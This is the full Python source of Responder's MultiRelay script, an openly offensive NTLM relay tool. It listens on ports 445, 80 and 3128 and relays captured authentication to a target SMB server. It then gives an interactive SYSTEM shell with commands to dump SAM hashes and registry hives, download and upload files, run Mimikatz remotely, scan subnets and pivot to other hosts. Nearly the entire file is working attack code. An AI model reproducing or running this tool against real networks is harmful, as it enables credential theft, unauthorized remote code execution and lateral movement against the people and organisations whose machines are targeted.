#!/usr/bin/env python # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys import re import os import logging import optparse import time import random import subprocess from threading import Thread from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler try: from Crypto.Hash import MD5 except ImportError: print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes." print "You can install it on debian based os with this command: apt-get install python-crypto" print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n" try: import readline except: print "Warning: readline module is not available, you will not be able to use the arrow keys for command history" pass from MultiRelay.RelayMultiPackets import * from MultiRelay.RelayMultiCore import * from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../'))) from socket import * __version__ = "2.0" MimikatzFilename = "./MultiRelay/bin/mimikatz.exe" RunAsFileName = "./MultiRelay/bin/Runas.exe" SysSVCFileName = "./MultiRelay/bin/Syssvc.exe" def UserCallBack(op, value, dmy, parser): args=[] for arg in parser.rargs: if arg[0] != "-": args.append(arg) if arg[0] == "-": break if getattr(parser.values, op.dest): args.extend(getattr(parser.values, op.dest)) setattr(parser.values, op.dest, args) parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0]) parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort") parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay") parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand") parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump") options, args = parser.parse_args() if options.TARGET is None: print "\n-t Mandatory option is missing, please provide a target.\n" parser.print_help() exit(-1) if options.UserToRelay is None: print "\n-u Mandatory option is missing, please provide a username to relay.\n" parser.print_help() exit(-1) if options.ExtraPort is None: options.ExtraPort = 0 if not os.geteuid() == 0: print color("[!] MultiRelay must be run as root.") sys.exit(-1) OneCommand = options.OneCommand Dump = options.Dump ExtraPort = options.ExtraPort UserToRelay = options.UserToRelay Host = [options.TARGET] Cmd = [] ShellOpen = [] Pivoting = [2] def color(txt, code = 1, modifier = 0): return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) def ShowWelcome(): print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1) print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com' print 'Usernames to relay (-u) are case sensitive.' print 'To kill this script hit CRTL-C.\n' print color('/*',8,1) print 'Use this script in combination with Responder.py for best results.' print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n' print 'This tool listen on TCP port 80, 3128 and 445.' print 'For optimal pwnage, launch Responder only with these 2 options:' print '-rv\nAvoid running a command that will likely prompt for information like net use, etc.' print 'If you do so, use taskkill (as system) to kill the process.' print color('*/',8,1) print color('\nRelaying credentials for these users:',8,1) print color(UserToRelay,4,1) print '\n' ShowWelcome() def ShowHelp(): print color('Available commands:',8,0) print color('dump',8,1)+' -> Extract the SAM database and print hashes.' print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)' print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)' print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)' print color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)' print color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\' print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)' print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to' print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)' print color('mimi command',8,1)+' -> Run a remote Mimikatz command (eg: mimi coffee)' print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)' print color('help',8,1)+' -> Print this message.' print color('exit',8,1)+' -> Exit this shell and return in relay mode.' print ' If you want to quit type exit and then use CRTL-C\n' print color('Any other command than that will be run as SYSTEM on the target.\n',8,1) Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../" Logs = logging Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') def UploadContent(File): with file(File) as f: s = f.read() FileLen = len(s) FileContent = s return FileLen, FileContent try: RunFinger(Host[0]) except: print "The host %s seems to be down or port 445 down."%(Host[0]) sys.exit(1) def get_command(): global Cmd Cmd = [] while any(x in Cmd for x in Cmd) is False: Cmd = [raw_input("C:\\Windows\\system32\\:#")] #Function used to make sure no connections are accepted while we have an open shell. #Used to avoid any possible broken pipe. def IsShellOpen(): #While there's nothing in our array return false. if any(x in ShellOpen for x in ShellOpen) is False: return False #If there is return True. else: return True #Function used to make sure no connections are accepted on HTTP and HTTP_Proxy while we are pivoting. def IsPivotOn(): #While there's nothing in our array return false. if Pivoting[0] == "2": return False #If there is return True. if Pivoting[0] == "1": return True def ConnectToTarget(): try: s = socket(AF_INET, SOCK_STREAM) s.connect((Host[0],445)) return s except: try: sys.exit(1) print "Cannot connect to target, host down?" except: pass class HTTPProxyRelay(BaseRequestHandler): def handle(self): try: #Don't handle requests while a shell is open. That's the goal after all. if IsShellOpen(): return None if IsPivotOn(): return None except: raise s = ConnectToTarget() try: data = self.request.recv(8092) ##First we check if it's a Webdav OPTION request. Webdav = ServeOPTIONS(data) if Webdav: #If it is, send the option answer, we'll send him to auth when we receive a profind. self.request.send(Webdav) data = self.request.recv(4096) NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) ##Make sure incoming packet is an NTLM auth, if not send HTTP 407. if NTLM_Auth: #Get NTLM Message code. (1:negotiate, 2:challenge, 3:auth) Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] if Packet_NTLM == "\x01": ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") n = SMBNegoCairo(Data = SMBNegoCairoData()) n.calculate() packet0 = str(h)+str(n) buffer0 = longueur(packet0)+packet0 s.send(buffer0) smbdata = s.recv(2048) ##Session Setup AndX Request, NTLMSSP_NEGOTIATE if smbdata[8:10] == "\x72\x00": head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(buffer1) smbdata = s.recv(2048) #got it here. ## Send HTTP Proxy Buffer_Ans = WPAD_NTLM_Challenge_Ans() Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing). self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. data = self.request.recv(8092) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9] ##Got NTLM Message 3 from client. if Packet_NTLM == "\x03": NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth)) ##Might be anonymous, verify it and if so, send no go to client. if IsSMBAnonymous(NTLM_Auth): Response = WPAD_Auth_407_Ans() self.request.send(str(Response)) data = self.request.recv(8092) else: #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #and has not attempted before. While at it, let's grab his hash. Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) if Username is not None: head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 print "[+] SMB Session Auth sent." s.send(buffer1) smbdata = s.recv(2048) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) if RunCmd is None: s.close() self.request.close() return None else: ##Any other type of request, send a 407. Response = WPAD_Auth_407_Ans() self.request.send(str(Response)) except Exception: self.request.close() ##No need to print anything (timeouts, rst, etc) to the user console.. pass class HTTPRelay(BaseRequestHandler): def handle(self): try: #Don't handle requests while a shell is open. That's the goal after all. if IsShellOpen(): return None if IsPivotOn(): return None except: raise try: s = ConnectToTarget() data = self.request.recv(8092) ##First we check if it's a Webdav OPTION request. Webdav = ServeOPTIONS(data) if Webdav: #If it is, send the option answer, we'll send him to auth when we receive a profind. self.request.send(Webdav) data = self.request.recv(4096) NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) ##Make sure incoming packet is an NTLM auth, if not send HTTP 407. if NTLM_Auth: #Get NTLM Message code. (1:negotiate, 2:challenge, 3:auth) Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] if Packet_NTLM == "\x01": ## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target. h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") n = SMBNegoCairo(Data = SMBNegoCairoData()) n.calculate() packet0 = str(h)+str(n) buffer0 = longueur(packet0)+packet0 s.send(buffer0) smbdata = s.recv(2048) ##Session Setup AndX Request, NTLMSSP_NEGOTIATE if smbdata[8:10] == "\x72\x00": head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(buffer1) smbdata = s.recv(2048) #got it here. ## Send HTTP Response. Buffer_Ans = IIS_NTLM_Challenge_Ans() Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing). self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. data = self.request.recv(8092) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9] ##Got NTLM Message 3 from client. if Packet_NTLM == "\x03": NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth)) ##Might be anonymous, verify it and if so, send no go to client. if IsSMBAnonymous(NTLM_Auth): Response = IIS_Auth_401_Ans() self.request.send(str(Response)) data = self.request.recv(8092) else: #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #and has not attempted before. While at it, let's grab his hash. Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) if Username is not None: head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 print "[+] SMB Session Auth sent." s.send(buffer1) smbdata = s.recv(2048) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) if RunCmd is None: s.close() self.request.close() return None else: ##Any other type of request, send a 407. Response = IIS_Auth_401_Ans() self.request.send(str(Response)) except Exception: self.request.close() ##No need to print anything (timeouts, rst, etc) to the user console.. pass class SMBRelay(BaseRequestHandler): def handle(self): try: #Don't handle requests while a shell is open. That's the goal after all. if IsShellOpen(): return None except: raise s = ConnectToTarget() try: data = self.request.recv(4096) ##Negotiate proto answer. That's us. if data[8:10] == "\x72\x00": head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc7", pid=pidcalc(data),mid=midcalc(data)) t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data)) packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(4096) ## Make sure it's not a Kerberos auth. if data.find("NTLM") is not -1: ## Start with nego protocol + session setup negotiate to our target. data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting) ## Make sure it's not a Kerberos auth. if data.find("NTLM") is not -1: ##Relay all that to our client. if data[8:10] == "\x73\x00": head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) #NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange. #Then simply grab the whole session setup packet except the smb header from the client and pass it to the server. t = smbdata[36:] packet0 = str(head)+str(t) buffer0 = longueur(packet0)+packet0 self.request.send(buffer0) data = self.request.recv(4096) else: #if it's kerberos, ditch the connection. s.close() return None if IsSMBAnonymous(data): ##Send logon failure for anonymous logins. head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) t = SMBSessEmpty() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) s.close() return None else: #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #and has not attempted before. While at it, let's grab his hash. Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting) if Username is not None: ##Got the ntlm message 3, send it over to SMB. head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") t = data[36:]#Final relay. packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 if Pivoting[0] == "1": pass else: print "[+] SMB Session Auth sent." s.send(buffer1) smbdata = s.recv(4096) #We're all set, dropping into shell. RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) #If runcmd is None it's because tree connect was denied for this user. #This will only happen once with that specific user account. #Let's kill that connection so we can force him to reauth with another account. if RunCmd is None: s.close() return None else: ##Send logon failure, so our client might authenticate with another account. head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) t = SMBSessEmpty() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(4096) self.request.close() return None except Exception: self.request.close() ##No need to print anything (timeouts, rst, etc) to the user console.. pass #Interface starts here. def RunShellCmd(data, s, clientIP, Target, Username, Domain): #Let's declare our globals here.. #Pivoting gets used when the pivot cmd is used, it let us figure out in which mode is MultiRelay. Initial Relay or Pivot mode. global Pivoting #Update Host, when pivoting is used. global Host #Make sure we don't open 2 shell at the same time.. global ShellOpen ShellOpen = ["Shell is open"] # On this block we do some verifications before dropping the user into the shell. if data[8:10] == "\x73\x6d": print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target." print "[+] Hashes were saved anyways in Responder/logs/ folder.\n" Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") del ShellOpen[:] return False if data[8:10] == "\x73\x8d": print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n" Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") del ShellOpen[:] return False if data[8:10] == "\x73\x5e": print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n" del ShellOpen[:] return False ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$: ## Tree Connect if data[8:10] == "\x73\x00": GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session. head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(buffer1) data = s.recv(2048) ## Nope he doesn't. if data[8:10] == "\x75\x22": if Pivoting[0] == "1": pass else: print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n" Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") del ShellOpen[:] return False # This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. if data[8:10] == "\x75\xcc": print "[+] Tree Connect AndX denied. Bad Network Name returned." del ShellOpen[:] return False ## Tree Connect on C$ is successfull. if data[8:10] == "\x75\x00": if Pivoting[0] == "1": pass else: print "[+] Looks good, "+Username+" has admin rights on C$." head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(buffer1) data = s.recv(2048) ## Run one command. if data[8:10] == "\x75\x00" and OneCommand != None or Dump: print "[+] Authenticated." if OneCommand != None: print "[+] Running command: %s"%(OneCommand) RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0]) if Dump: print "[+] Dumping hashes" DumpHashes(data, s, Target[0]) os._exit(1) ## Drop into the shell. if data[8:10] == "\x75\x00" and OneCommand == None: if Pivoting[0] == "1": pass else: print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n" ShowHelp() print color('Connected to %s as LocalSystem.'%(Target[0]),2,1) while True: ## We either just arrived here or we're back from a command operation, let's setup some stuff. if data[8:10] == "\x75\x00": #start a thread for raw_input, so we can do other stuff while we wait for a command. t = Thread(target=get_command, args=()) t.daemon = True t.start() #Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation #to maintain MultiRelay alive and well. count = 0 DoEvery = random.randint(10, 45) while any(x in Cmd for x in Cmd) is False: count = count+1 SMBKeepAlive(s, data) if count == DoEvery: DumbSMBChain(data, s, Target[0]) count = 0 if any(x in Cmd for x in Cmd) is True: break ##Grab the commands. Cmd is global in get_command(). DumpReg = re.findall('^dump', Cmd[0]) Read = re.findall('^read (.*)$', Cmd[0]) RegDump = re.findall('^regdump (.*)$', Cmd[0]) Get = re.findall('^get (.*)$', Cmd[0]) Upload = re.findall('^upload (.*)$', Cmd[0]) Delete = re.findall('^delete (.*)$', Cmd[0]) RunAs = re.findall('^runas (.*)$', Cmd[0]) LCmd = re.findall('^lcmd (.*)$', Cmd[0]) Mimi = re.findall('^mimi (.*)$', Cmd[0]) Scan = re.findall('^scan (.*)$', Cmd[0]) Pivot = re.findall('^pivot (.*)$', Cmd[0]) Help = re.findall('^help', Cmd[0]) if Cmd[0] == "exit": print "[+] Returning in relay mode." del Cmd[:] del ShellOpen[:] return None ##For all of the following commands we send the data (var: data) returned by the ##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore. ##We also clean up the command array when done. if DumpReg: data = DumpHashes(data, s, Target[0]) del Cmd[:] if Read: File = Read[0] data = ReadFile(data, s, File, Target[0]) del Cmd[:] if Get: File = Get[0] data = GetAfFile(data, s, File, Target[0]) del Cmd[:] if Upload: File = Upload[0] if os.path.isfile(File): FileSize, FileContent = UploadContent(File) File = os.path.basename(File) data = WriteFile(data, s, File, FileSize, FileContent, Target[0]) del Cmd[:] else: print File+" does not exist, please specify a valid file." del Cmd[:] if Delete: Filename = Delete[0] data = DeleteFile(data, s, Filename, Target[0]) del Cmd[:] if RegDump: Key = RegDump[0] data = SaveAKey(data, s, Target[0], Key) del Cmd[:] if RunAs: if os.path.isfile(RunAsFileName): FileSize, FileContent = UploadContent(RunAsFileName) FileName = os.path.basename(RunAsFileName) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) Exec = RunAs[0] data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName) del Cmd[:] else: print RunAsFileName+" does not exist, please specify a valid file." del Cmd[:] if LCmd: subprocess.call(LCmd[0], shell=True) del Cmd[:] if Mimi: if os.path.isfile(MimikatzFilename): FileSize, FileContent = UploadContent(MimikatzFilename) FileName = os.path.basename(MimikatzFilename) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) Exec = Mimi[0] data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName) del Cmd[:] else: print MimikatzFilename+" does not exist, please specify a valid file." del Cmd[:] if Pivot: if Pivot[0] == Target[0]: print "[Pivot Verification Failed]: You're already on this host. No need to pivot." del Pivot[:] del Cmd[:] else: if ShowSigning(Pivot[0]): del Pivot[:] del Cmd[:] else: if os.path.isfile(RunAsFileName): FileSize, FileContent = UploadContent(RunAsFileName) FileName = os.path.basename(RunAsFileName) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) RunAsPath = '%windir%\\Temp\\'+FileName Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName) if Status == True: print "[+] Pivoting to %s."%(Pivot[0]) if os.path.isfile(RunAsFileName): FileSize, FileContent = UploadContent(RunAsFileName) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) #shell will close. del ShellOpen[:] #update the new host. Host = [Pivot[0]] #we're in pivoting mode. Pivoting = ["1"] data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName) del Cmd[:] s.close() return None if Status == False: print "[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host." del Cmd[:] del Pivot[:] else: print RunAsFileName+" does not exist, please specify a valid file." del Cmd[:] if Scan: LocalIp = FindLocalIp() Range = ConvertToClassC(Target[0], Scan[0]) RunPivotScan(Range, Target[0]) del Cmd[:] if Help: ShowHelp() del Cmd[:] ##Let go with the command. if any(x in Cmd for x in Cmd): if len(Cmd[0]) > 1: if os.path.isfile(SysSVCFileName): FileSize, FileContent = UploadContent(SysSVCFileName) FileName = os.path.basename(SysSVCFileName) RunPath = '%windir%\\Temp\\'+FileName data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName) del Cmd[:] else: print SysSVCFileName+" does not exist, please specify a valid file." del Cmd[:] if data is None: print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n" if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop. head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")# t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(buffer1) data = s.recv(2048) class ThreadingTCPServer(TCPServer): def server_bind(self): TCPServer.server_bind(self) ThreadingTCPServer.allow_reuse_address = 1 ThreadingTCPServer.daemon_threads = True def serve_thread_tcp(host, port, handler): try: server = ThreadingTCPServer((host, port), handler) server.serve_forever() except: print color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1) def main(): try: threads = [] threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMBRelay,))) threads.append(Thread(target=serve_thread_tcp, args=('', 3128, HTTPProxyRelay,))) threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTPRelay,))) if ExtraPort != 0: threads.append(Thread(target=serve_thread_tcp, args=('', int(ExtraPort), HTTPProxyRelay,))) for thread in threads: thread.setDaemon(True) thread.start() while True: time.sleep(1) except (KeyboardInterrupt, SystemExit): ##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default. ##This is a bug in python readline when dealing with raw_input().. if ShellOpen: os.system('stty sane') ##Then exit sys.exit("\rExiting...") if __name__ == '__main__': main()